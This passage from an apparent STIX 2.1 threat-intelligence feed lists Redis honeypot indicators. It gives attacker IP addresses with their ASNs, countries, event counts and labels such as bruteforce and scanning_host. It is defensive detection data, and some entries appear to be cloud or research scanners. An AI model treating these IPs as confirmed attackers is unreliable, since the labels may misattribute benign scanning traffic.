      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-25T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.211.28.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:25:10.000Z",
      "valid_until": "2026-06-26T10:25:09.000Z"
    },
    {
      "created": "2026-05-25T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--9f4776ab-dd7a-4288-ba36-fe9d7feac8ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '137.184.132.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:25:10.000Z",
      "valid_until": "2026-06-26T12:25:10.000Z"
    },
    {
      "created": "2026-05-25T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--f21d4e97-4986-4053-a18a-408956e3d2e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.40.194.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:25:10.000Z",
      "valid_until": "2026-06-26T12:25:10.000Z"
    },
    {
      "created": "2026-05-25T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--5e4f2621-6054-4d8d-8713-92d74c53affe",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.234.221.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:25:10.000Z",
      "valid_until": "2026-06-26T13:25:09.000Z"
    },
    {
      "created": "2026-05-25T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--f49f5ac7-d2c7-4945-87e5-2a5c7f202ea8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.81.7.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:25:10.000Z",
      "valid_until": "2026-06-26T13:25:09.000Z"
    },
    {
      "created": "2026-05-25T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--d5822814-ba47-400d-91a8-f7e8a7bb0391",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '36.104.150.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:25:10.000Z",
      "valid_until": "2026-06-26T13:25:09.000Z"
    },
    {
      "created": "2026-05-25T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--6835e72c-6bea-49c4-9430-50478c37af8e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.215.219.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:25:10.000Z",
      "valid_until": "2026-06-26T13:25:09.000Z"
    },
    {
      "created": "2026-05-25T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--ab957f89-acec-4f34-9e0e-df7516aace68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.236.24.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:25:10.000Z",
      "valid_until": "2026-06-26T13:25:09.000Z"
    },
    {
      "created": "2026-05-25T15:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--edd610f8-94b0-4afe-acdf-c2f58bd44633",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T15:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:25:13.000Z",
      "valid_until": "2026-06-26T15:25:08.000Z"
    },
    {
      "created": "2026-05-25T15:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=US; asn=212238; asn_org=Datacamp Limited; cats=Misc activity; redis_cmd_hits=0",
      "id": "indicator--22a8d227-98b8-430c-8ef9-f94ea76680e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:25:13.000Z",
      "valid_until": "2026-06-26T15:25:08.000Z"
    },
    {
      "created": "2026-05-25T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=BG; asn=209630; asn_org=LLC Vash Kredit Bank; redis_cmd_hits=0",
      "id": "indicator--43d0961d-908f-4997-a195-eb68b32e77eb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.92.42.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:25:10.000Z",
      "valid_until": "2026-06-26T17:25:09.000Z"
    },
    {
      "created": "2026-05-25T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--9527f515-d215-4edf-b39e-0c994ab345c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.189.189.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:25:10.000Z",
      "valid_until": "2026-06-26T21:25:09.000Z"
    },
    {
      "created": "2026-05-25T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=22; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--023ed1db-c29b-4d08-b650-af6b0a8d8e25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.227.8.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T21:25:10.000Z",
      "valid_until": "2026-06-26T21:25:09.000Z"
    },
    {
      "created": "2026-05-25T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=SE; asn=42708; asn_org=Glesys AB; redis_cmd_hits=0",
      "id": "indicator--e68c3074-a7ec-45cb-a6b1-c9fb63f498ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.73.241.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:25:10.000Z",
      "valid_until": "2026-06-26T23:25:09.000Z"
    },
    {
      "created": "2026-05-25T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=SE; asn=42708; asn_org=Glesys AB; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--96a97265-fd6b-4fe2-bde4-9802dd8c6a2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.73.242.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:25:10.000Z",
      "valid_until": "2026-06-26T23:25:09.000Z"
    },
    {
      "created": "2026-05-25T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=SE; asn=42708; asn_org=Glesys AB; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--a2d6e53a-ef0f-49aa-8fcb-4611a99fc02e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.73.248.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:25:10.000Z",
      "valid_until": "2026-06-26T23:25:09.000Z"
    },
    {
      "created": "2026-05-26T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--8cd54ffa-f4e6-4179-9bbc-455a371f0f5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:25:10.000Z",
      "valid_until": "2026-06-27T01:25:09.000Z"
    },
    {
      "created": "2026-05-26T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=76; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--4653caf7-fa8e-4238-beb1-8a8aa51261d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.18.106.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:25:10.000Z",
      "valid_until": "2026-06-27T04:25:09.000Z"
    },
    {
      "created": "2026-05-26T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--758b38c7-9455-4cfe-8886-9f65ff5c2126",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-26T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.205.149.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:25:10.000Z",
      "valid_until": "2026-06-27T04:25:09.000Z"
    },
    {
      "created": "2026-05-26T05:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=76; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--721aac7c-9d20-40d7-913a-cb0302db9a06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T05:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.145.11.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:25:04.000Z",
      "valid_until": "2026-06-27T05:25:04.000Z"
    },
    {
      "created": "2026-05-26T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--2b11effe-e251-4f68-a594-220f653d4961",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.160.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:25:10.000Z",
      "valid_until": "2026-06-27T07:25:09.000Z"
    },
    {
      "created": "2026-05-26T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--23c92e9a-5653-42c9-894a-7f4c5333374b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:25:10.000Z",
      "valid_until": "2026-06-27T07:25:09.000Z"
    },
    {
      "created": "2026-05-26T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--8f155738-3760-40b0-9dd4-82781b3b084e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-26T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '106.55.63.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:25:10.000Z",
      "valid_until": "2026-06-27T10:25:09.000Z"
    },
    {
      "created": "2026-05-26T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--170790b2-a92f-4f8e-afbb-42a84bf8ac95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.131.162.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:25:10.000Z",
      "valid_until": "2026-06-27T11:25:09.000Z"
    },
    {
      "created": "2026-05-26T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=NL; asn=202425; asn_org=IP Volume inc; redis_cmd_hits=0",
      "id": "indicator--a2f6cc02-b477-4aaa-91c0-5318a669db37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.82.77.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:25:10.000Z",
      "valid_until": "2026-06-27T11:25:09.000Z"
    },
    {
      "created": "2026-05-26T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--9f2415aa-214f-49b3-98b9-cfe2aa478be0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-26T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T15:25:10.000Z",
      "valid_until": "2026-06-27T15:25:09.000Z"
    },
    {
      "created": "2026-05-26T16:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--9ae88fec-c87f-473a-920c-ce3e5ba92ff3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T16:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.84.60.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:25:12.000Z",
      "valid_until": "2026-06-27T16:25:11.000Z"
    },
    {
      "created": "2026-05-26T16:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=FR; asn=16276; asn_org=OVH SAS; redis_cmd_hits=0",
      "id": "indicator--3a9bee75-262c-4d6c-97be-704aed0c4196",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-26T16:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.98.177.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T16:25:12.000Z",
      "valid_until": "2026-06-27T16:25:11.000Z"
    },
    {
      "created": "2026-05-26T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--e5ca9101-c9cd-4423-b8ee-842bab896ab4",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-26T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:25:10.000Z",
      "valid_until": "2026-06-27T18:25:09.000Z"
    },
    {
      "created": "2026-05-26T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--4fd1b215-4b56-415f-81c7-ed673ec248d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:25:10.000Z",
      "valid_until": "2026-06-27T18:25:09.000Z"
    },
    {
      "created": "2026-05-26T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=21738; asn_org=Rozint; redis_cmd_hits=0",
      "id": "indicator--ef6d1c92-16c6-413a-913a-e0ebcafa9c8d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-26T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.59.255.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:25:10.000Z",
      "valid_until": "2026-06-27T20:25:09.000Z"
    },
    {
      "created": "2026-05-26T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--77e0a20a-4f26-4b23-92d1-fc9df33ffe10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.188.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T23:25:10.000Z",
      "valid_until": "2026-06-27T23:25:09.000Z"
    },
    {
      "created": "2026-05-27T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; redis_cmd_hits=0",
      "id": "indicator--d94af259-c50e-4bf6-a5cb-94b266d16a96",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-27T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.198.224.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T01:25:10.000Z",
      "valid_until": "2026-06-28T01:25:09.000Z"
    },
    {
      "created": "2026-05-27T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--35d0f1c4-3a85-4521-9941-3be1c95a2012",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.209.82.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:25:10.000Z",
      "valid_until": "2026-06-28T02:25:09.000Z"
    },
    {
      "created": "2026-05-27T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--d567a83d-ba81-4a01-a4a9-3d477135dcfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:25:10.000Z",
      "valid_until": "2026-06-28T02:25:09.000Z"
    },
    {
      "created": "2026-05-27T03:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--8b461b16-7bf7-40af-8468-0afb112154d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:25:14.000Z",
      "valid_until": "2026-06-28T03:25:12.000Z"
    },
    {
      "created": "2026-05-27T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=160; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmds=GET (empty array); redis_cmd_hits=0",
      "id": "indicator--2376a0e5-88e9-4d2e-9255-48aff869146c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '161.35.123.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:25:05.000Z",
      "valid_until": "2026-06-28T05:25:04.000Z"
    },
    {
      "created": "2026-05-27T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--0f16b65d-1f7b-4205-bc33-e8a5780a9806",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-27T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '180.76.58.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:25:05.000Z",
      "valid_until": "2026-06-28T05:25:04.000Z"
    },
    {
      "created": "2026-05-27T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=75; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--3843a2be-8888-48a1-a85c-2f9135d1378e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.15.227.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:25:05.000Z",
      "valid_until": "2026-06-28T05:25:04.000Z"
    },
    {
      "created": "2026-05-27T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:25:10.000Z",
